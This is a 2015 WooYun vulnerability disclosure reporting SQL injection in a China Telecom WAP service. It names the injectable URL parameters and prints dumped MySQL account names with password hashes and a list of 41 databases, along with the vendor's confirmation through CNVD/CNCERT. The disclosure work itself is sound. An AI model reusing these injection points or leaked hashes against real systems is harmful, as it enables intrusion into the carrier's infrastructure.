当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144414

漏洞标题：运营商安全之中国电信号码百事通wap注入（大量数据库敏感信息泄露）

相关厂商：中国电信

漏洞作者： 路人甲

提交时间：2015-10-03 13:08

修复时间：2015-11-26 08:32

公开时间：2015-11-26 08:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-03： 细节已通知厂商并且等待厂商处理中
2015-10-12： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向核心白帽子及相关领域专家公开
2015-11-01： 细节向普通白帽子公开
2015-11-11： 细节向实习白帽子公开
2015-11-26： 细节向公众公开

简要描述：

运营商安全之中国电信号码百事通wap注入

详细说明：

**.**.**.**:8012/health/free.jsp?pay=1&key=123&op=14 key参数存在注入
**.**.**.**:8080/movie2/free.jsp?pay=1&op=41&id=6208&bst=15&fr=bst id参数

1.png

2.png


[*] extmail [1]:
    password hash: *F202F2DB867329F1CF584153F9E7A155318EA566
[*] jiankong [1]:
    password hash: *2D4B317D0A140050AE5AB99BB10912DD8CFC283D
[*] postfix [1]:
    password hash: *C3FFB992EB99A9367CF17B7C92AC6F03E3DE46C3
[*] root [5]:
    password hash: *33E0762B574AF0FEB01F6B5410648D3C62C6C017
    password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
    password hash: *9F6D6B51EAAF69B7A4D6ABD6CF8D96FC0C675C69
    password hash: *C3FFB992EB99A9367CF17B7C92AC6F03E3DE46C3
    password hash: *F202F2DB867329F1CF584153F9E7A155318EA566
[*] webman [1]:
    password hash: *C3FFB992EB99A9367CF17B7C92AC6F03E3DE46C3


available databases [41
[*] address
[*] agriculture
[*] andver
[*] bugfree
[*] BugFree
[*] bugtracker
[*] dotproject
[*] extmail
[*] food
[*] G_continent
[*] G_continent_bak
[*] gc
[*] ha
[*] information_schema
[*] luckydraw
[*] magazine
[*] md_currency
[*] MDreamInfo
[*] mjt2
[*] molooncsv
[*] movie
[*] movies
[*] mysql
[*] netoffice
[*] newhbq
[*] newmms
[*] newmovies
[*] oral
[*] postfix
[*] qmlx
[*] sanguo
[*] sgwap
[*] sms
[*] sms_bak
[*] student
[*] test
[*] themms
[*] wap
[*] wapdata
[*] wapGame_two
[*] yingli


41个数据库泄漏

漏洞证明：

**.**.**.**:8012/health/free.jsp?pay=1&key=123&op=14 key参数存在注入
**.**.**.**:8080/movie2/free.jsp?pay=1&op=41&id=6208&bst=15&fr=bst id参数

1.png

2.png


[*] extmail [1]:
    password hash: *F202F2DB867329F1CF584153F9E7A155318EA566
[*] jiankong [1]:
    password hash: *2D4B317D0A140050AE5AB99BB10912DD8CFC283D
[*] postfix [1]:
    password hash: *C3FFB992EB99A9367CF17B7C92AC6F03E3DE46C3
[*] root [5]:
    password hash: *33E0762B574AF0FEB01F6B5410648D3C62C6C017
    password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
    password hash: *9F6D6B51EAAF69B7A4D6ABD6CF8D96FC0C675C69
    password hash: *C3FFB992EB99A9367CF17B7C92AC6F03E3DE46C3
    password hash: *F202F2DB867329F1CF584153F9E7A155318EA566
[*] webman [1]:
    password hash: *C3FFB992EB99A9367CF17B7C92AC6F03E3DE46C3


available databases [41
[*] address
[*] agriculture
[*] andver
[*] bugfree
[*] BugFree
[*] bugtracker
[*] dotproject
[*] extmail
[*] food
[*] G_continent
[*] G_continent_bak
[*] gc
[*] ha
[*] information_schema
[*] luckydraw
[*] magazine
[*] md_currency
[*] MDreamInfo
[*] mjt2
[*] molooncsv
[*] movie
[*] movies
[*] mysql
[*] netoffice
[*] newhbq
[*] newmms
[*] newmovies
[*] oral
[*] postfix
[*] qmlx
[*] sanguo
[*] sgwap
[*] sms
[*] sms_bak
[*] student
[*] test
[*] themms
[*] wap
[*] wapdata
[*] wapGame_two
[*] yingli


41个数据库泄漏

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-10-12 08:31

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国电信集团公司通报，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论